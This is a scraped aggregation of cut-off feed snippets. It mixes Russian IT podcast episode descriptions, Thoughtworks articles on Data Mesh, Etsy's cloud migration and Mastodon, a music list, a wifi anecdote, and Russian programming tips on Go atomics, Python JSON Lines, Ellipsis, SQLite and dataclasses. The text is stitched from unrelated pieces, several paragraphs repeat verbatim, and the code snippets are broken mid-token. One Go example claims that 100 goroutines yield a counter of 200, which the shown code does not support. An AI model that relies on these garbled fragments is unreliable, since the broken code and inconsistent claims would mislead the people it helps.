Старт карьеры в ИТ похож на гонки на выживание: и там и там цели достигают не все. В этом выпуске — те, кто её достиг. Мы поговорили с Junior-разработчиками о том, как они строили карьеру, что им помогало, а что мешало. Итак, сегодня в нашей виртуальной студии

Толибжон Сохибов из Лаборатории Касперского,

Максим Набиуллин из Московского кредитного банка. 00:56 Почему именно ИТ

02:29 Чувствуется ли разница между теми, кто учит программирование со школы, и теми, кто с ним знакомится позже.

04:33 Нужно ли начинать учиться программированию рано

06:14 Самый сложный барьер при поиске работы

10:08 Откуда ждать помощи в обучении

11:44 Как ощущалась нехватка практического опыта

13:38 Как учат командн…

В книгах и фильмах про пиратов всегда были карты сокровищ. В современном мире карты и дополняющие их данные — сокровища сами по себе.

В этом выпуске говорим о геоданных и о том, как разработчики их используют. Завесу тайны над геоданными приоткроют:

Елена Гоголева, начальник управления аналитических исследований и инновационных технологий Промсвязьбанка,

Мария Сакиркина, продуктовый аналитик 2ГИС. 01:05 Где работают с геоданными

02:50 Можно ли считать пиратскую карту Джека Воробья геоданными

03:30 Задачи, в которых помогают геоданные

09:13 Как геоданные помогают выбирать места для магазинов, офисов и банкоматов

10:45 Типовые задачи при работе с данными

15:23 Спасут ли геоданные наш любимый …

Контент — сложный и часто неблагодарный труд, но что-то толкает людей становиться авторами. И дело не только в амбициях — если бы контент не приносил технарям пользу, постов на Хабре бы на порядок меньше. Так какие бенефиты может выжать хороший автор из своего аккаунта? Стоит ли признаваться работодателю, что в свободное время пишешь о технологиях? И есть ли вариант остаться в разработке, если к написанию кода уже подостыл? Спойлер: есть, становитесь деврелами. 1:00 Наши гости: Елена Кабанец, руководитель HR-бренда Сбера, и Григорий Петров, деврел компании Еврон. 1:15 Путь в деврелы начинается со статей? Личный опыт гостя. 4:40 Как Сбер находит авторов внутри команды и мотивирует их писать …

Кто-то называет прогресс движением по кругу, кто-то заменой одних неприятностей другими, а кто-то считает его законом природы. В IT это чувствуется особенно сильно — и в этом выпуске мы обсудим, какой путь прошла фронтенд-разработка. Вспомним, когда вообще появился этот термин, что было до него, поностальгируем о кроссбраузерности и узнаем, смог бы senior десятилетней давности сойти сегодня за джуна. Ностальгировали с опытными фронтендерами: Максимом Ореховым, руководителем центра компетенций по разработке веб-приложений в Промсвязьбанке, и Евгением Дмитриевым, руководителем разработки дизайн-системы ivi. Запись онлайна от 07/07. 1:24 Опыт гостей: первое вхождение во фронтэнд. 2:21 Эпоха ве…

Важен ли вуз для карьеры?.. Однажды в начале 2000-х сисадмин одного регионального оператора связи три дня не мог починить биллинг. Ошибка была очень странной: в некоторых блоках упорно лезла дата 1970-01-01. Сисадмин искал причины повсюду, от формата даты и до взлома, пока не пришёл главный инженер — и не объяснил. Уходя, он посмотрел на окончившего биофак сисадмина, сложил пальцы, сотряс ими и произнёс: «Это база!». Сисадмин был отправлен на курсы — а фраза стала мемной. В этом выпуске мы поговорили о базе. Практика решает, но без теоретического фундамента не достичь высот. Мы обсудили, чего не понимают студенты-технари, с какими навыками студенту идти на первую работу, как совместить её с…

-=Выпуск 71=- По традиции, под Новый год немного моего сольного трёпа про технологические итоги года уходящего и ожидания от года наступающего. Содержит для меня нетипичный фрагмент: хоть и не люблю я списки всяких персон года, решил объясниться, почему для меня в мире хайтека человеком уходящего года стал Илон Маск.

-=Выпуск 70=- Саша Капитонов рассказывает, какую научную фантастику он любит и почему считает ее полезной и для себя, и для студентов. Выпуск может быть источником чтива на приближающихся новогодних каникулах, но я специально не даю здесь ссылок на многочисленные упомянутые книжки: внимательно слушайте и ищите авторов и их произведения на своих любимых сервисах: тут вкусы бывают сильно разные.

-=Выпуск 69=- Настал сезон, чтоб оглянуться на уходящий потихоньку год: не хочу длинных списков; порассуждаю о всего лишь двух не столько событиях, сколько процессах, которыми лично мне запомнился пейзаж области высоких технологий в 2022. В рассказе я обещаю ссылки на прошлые подкасты здесь в тему метавселенной (в моем её понимании) и на статьи, где можно посмотреть на генеративную графику ныне модных инструментов и поверхностно сравнить их. Майский рассказ на конференции CodeFest-2022 в Новосибирске Первое здесь — как я её для себя понимал (больше года назад) Как полтора года назад из Мастерской-15 Видео со по текстовым описаниям Аналогичное а не ролика

-=Выпуск 68=- Трёп про образование и технологии в нем, про визионерство и немножко про жизнь с давним другом и одним из тех, кто еще с прошлого века строил и продолжает строить интернет в разных местах, в разных компаниях, на разных должностях — но всегда с душой. Ссылки по теме: Упомянутый в разговоре — если хочется его регулярно почитывать

-=Выпуск 67=- Трёп в своем идеальном виде — про всё на свете, куда язык заведёт: про науку, машинное обучение, генеративное искусство, очеловечивание алгоритмов, климатический кризис и странности наших мозгов. Ссылочки на тему упомянутого в выпуске (и ) Текст Лёши Тихонова Лев Манович

-=Выпуск 66=- Аудиоверсия моего открывающего доклада на конференции CodeFest-12 28 мая 2022 в Новосибирске: слегка отредактированная аудиодорожка презентации обрамлена моими уже домашними комментариями. Ссылки по теме: , сооснователями Мастерской-15, исследователями метавселенной Подкаст про то, (пока ее не опошлили)

The Data Mesh Accelerate workshop helps teams and organisations accelerate their Data Mesh transformation, by understanding their current state and exploring what the next steps will look like.

The Data Mesh Accelerate Workshop At Thoughtworks, our response has been a process called Data Mesh Accelerate.

Where the accelerate workshop fits in The Data Mesh Accelerate Workshop is one part of a data mesh transformation.

from: Data Mesh in practice: Getting off to the right start The Data Mesh Accelerate workshop fits in when you have got the domain stakeholders (business and technical people) interested and available for a few hours to kick start a successful Data Mesh transformation.

Discover…

I've now made it a habit of mentioning six new musical discoveries I made this year.

Dancing Wittgenstein by Jazzrausch Bigband sample track: Dancing Wittgenstein Jazzrausch Bigband is compelling evidence that, however unlikely it sounds, Duke Ellington had a baby with Kraftwerk.

Chants by Al-jiçç sample track: Route The Mediterranean is a fascinating mixing pot: Graeco-Roman classicism, catholic Europe, the Maghreb, Ottoman, and Arabian cultures united by trade over the course of centuries.

Jokers by Vincent Peirani sample track: River The accordion is a rarity in serious musical circles, usually only found in Folk and Tango.

The main reason I make this annual article is to hopefully lead …

The Data Mesh Accelerate workshop helps teams and organisations accelerate their Data Mesh transformation, by understanding their current state and exploring what the next steps will look like.

The Data Mesh Accelerate Workshop At Thoughtworks, our response has been a process called Data Mesh Accelerate.

Where the accelerate workshop fits in The Data Mesh Accelerate Workshop is one part of a data mesh transformation.

from: Data Mesh in practice: Getting off to the right start The Data Mesh Accelerate workshop fits in when you have got the domain stakeholders (business and technical people) interested and available for a few hours to kick start a successful Data Mesh transformation.

Prep wor…

The Data Mesh Accelerate workshop helps teams and organisations accelerate their Data Mesh transformation, by understanding their current state and exploring what the next steps will look like.

The Data Mesh Accelerate Workshop At Thoughtworks, our response has been a process called Data Mesh Accelerate.

Where the accelerate workshop fits in The Data Mesh Accelerate Workshop is one part of a data mesh transformation.

from: Data Mesh in practice: Getting off to the right start The Data Mesh Accelerate workshop fits in when you have got the domain stakeholders (business and technical people) interested and available for a few hours to kick start a successful Data Mesh transformation.

Prep wor…

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

Last week I upgraded my wifi by installing a Netgear Orbi Wifi Mesh.

I've been very happy with my Sonos system, it delivers music around the house, with only occasional problems.

When Sonos is set up like this, the speakers create their own wifi network, independent of any other wifi network in the building.

Looking around the internet, I found good reviews for the Netgear Orbi system, so I picked one up.

The Sonos app on my iPhone couldn't see any of my Sonos speakers.

To keep up with that demand, they had to scale up infrastructure, product delivery, and talent drastically.

Mike identified the product delivery process as being another potential scaling bottleneck.

To be able to scale product delivery and bring in some outside expertise, they started looking for a vendor.

Scaling Product Delivery and Discovery Thoughtworks and Etsy formed a cross-functional Product Delivery Culture (PDC) team to analyze the current product delivery and discovery process.

Figure 1: Experiment validation processBlueprint for product delivery The PDC, in conjunction with product team leaders, came up with a set of product delivery principles and related delivery practice cha…

Cape Cod, MA (2017)

To keep up with that demand, they had to scale up infrastructure, product delivery, and talent drastically.

Mike identified the product delivery process as being another potential scaling bottleneck.

To be able to scale product delivery and bring in some outside expertise, they started looking for a vendor.

Scaling Product Delivery and Discovery Thoughtworks and Etsy formed a cross-functional Product Delivery Culture (PDC) team to analyze the current product delivery and discovery process.

Figure 1: Experiment validation processBlueprint for product delivery The PDC, in conjunction with product team leaders, came up with a set of product delivery principles and related delivery practice cha…

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

One of the new features on Mastodon for a recovering twitterer is the CW field for new posts.

Mastodon is a federated network, so I have to accept that different parts of the community will have different standards.

My publisher is Thoughtworks, as that company controls the Mastodon server I post from.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

Many Mastodon guides state that all political posts should be behind CWs.

Композиция атомиков в GoАтомарная операция в многозадачной программе — отличная штука.

Int32 func increment () { counter .

Но первый пример при этом гарантирует итоговое значение counter в многозадачной среде:var counter atomic .

Int32 func increment () { counter .

Add ( 1 ) }Если запустить 100 горутин, counter в итоге будет равен 200 (если в процессе выполнения не было ошибок).

Идемпотентность — это когда повторный вызов операции над объектом не приводит к изменениям или ошибкам.

Очень полезная в разработке штука.

Давайте посмотрим, как применить идемпотентность, чтобы безопасно освободить занятые ресурсы.

Например, есть у нас ворота:Конструктор NewGate() открывает ворота, занимая какие-то системные ресурсы, и возвращает экземпляр Gate .

Понятно, что в итоге занятые ресурсы надо освободить:// do stuffПроблемы начнутся, если в какой-то ветке кода мы захотим явно закрыть ворота:

Как писать функции на чистом SQL.

JSON LinesНа днях оценил формат JSON Lines.

Это такой CSV на стероидах:каждая запись идет отдельной строкой, как в CSV;но при этом представляет собой полноценный JSON.

JSON, в принципе, тоже можно читать потоково.

Но посмотрите, насколько это проще с JSON Lines:import json from typing import Iterator def jl_reader ( fname : str ) -> Iterator [ dict ]: with open ( fname ) as file : for line in file : obj = json .

strip ()) yield obj if __name__ == "__main__" : reader = jl_reader ( "employees.jl" ) for employee in reader : id = employee [ "id" ] name = employee [ "name" ] dept = employee [ "department" ] print ( f "# { id } - { name } ( { dept } )" )#11 - Diane (hr) #12 - Bob (hr) #21 - Emma …

Не самая известная штука в Python — многоточие:Это рабочий код.

В питоне ... (он же Ellipsis ) — реальный объект, который можно использовать в коде.

Ellipsis — единственный экземпляр типа EllipsisType (аналогично тому, как None — единственный экземпляр типа NoneType ):Авторы Python в основном используют ... , чтобы показать, что у типа, метода или функции отсутствует реализация — как в примере с fly() .

И в тайп-хинтах:

Допустим, вы написали утилиту, которая отправляет что угодно в полет:Ну, то есть не прям все что угодно.

Очень удобно — одной функцией запускаем и голубя Френка, и самолет, и даже Супермена:Не то чтобы наши герои особо успешно справлялись с задачей, но запуск на них работает.

Дать понять, что параметр thing в launch() — это не любой объект, а обязательно летающая хреновина с методом fly() .

Если вы привыкли избегать типов, то обойдетесь именем переменной или комментарием к функции:Почему бы и нет.

Беда в том, что чем сложнее код, тем чаще сбоит «описательный» подход.

Там намного больше, чем просто randint()

Временные таблицы в SQLiteБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать.

Представление работает как CTE, но к нему можно обращаться как к обычной таблице и не повторять каждый раз подзапрос.

Как и CTE, представление тоже вычисляется на лету.

-- 1) create once create temp table combined_temp as select v . * , e . name , a . name from vacancy as v join employer as e on e . id = v . employer_id join area as a on a . id = v . area_id ; -- 2) use everywhere select ... from combined_temp where ... group by ... order by ...Технически, SQLite хранит временные таблицы в специальной temp -базе.

Она лежит в отдельном файле на диске и видна только тому соединени…

У вычисляемых столбцов есть еще одно чрезвычайно полезное применение.

Допустим, вы решили вести журнал событий, которые происходят в системе.

События бывают разных типов, у каждого свой набор полей.

Например, вход в систему:Или пополнение счета:Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON.

Заводите таблицу events с единственным полем value :И выбираете события по конкретному объекту:

Это здорово и удобно, пока не придется создать 10 млн объектов в памяти, которые благополучно ее и съедят.

Наверняка вы используете датакласс:from dataclasses import dataclass @dataclass class PetData : name : str price : int fn = lambda : PetData ( * fields ()) measure ( "dataclass" , fn )Pet size (dataclass) = 257 bytes x1.60 to baselineОго, какой толстенький!

СлотыВ Python 3.10 приехали датаклассы со слотами:@dataclass ( slots = True ) class PetData : name : str price : int fn = lambda : PetData ( * fields ()) measure ( "dataclass w/slots" , fn )Pet size (dataclass w/slots) = 153 bytes x0.95 to baselineОго!

Или прописывать слоты вручную:@dataclass class PetData : __slots__ = ( "name" , "…

17 модулей с новыми фичами и доработками.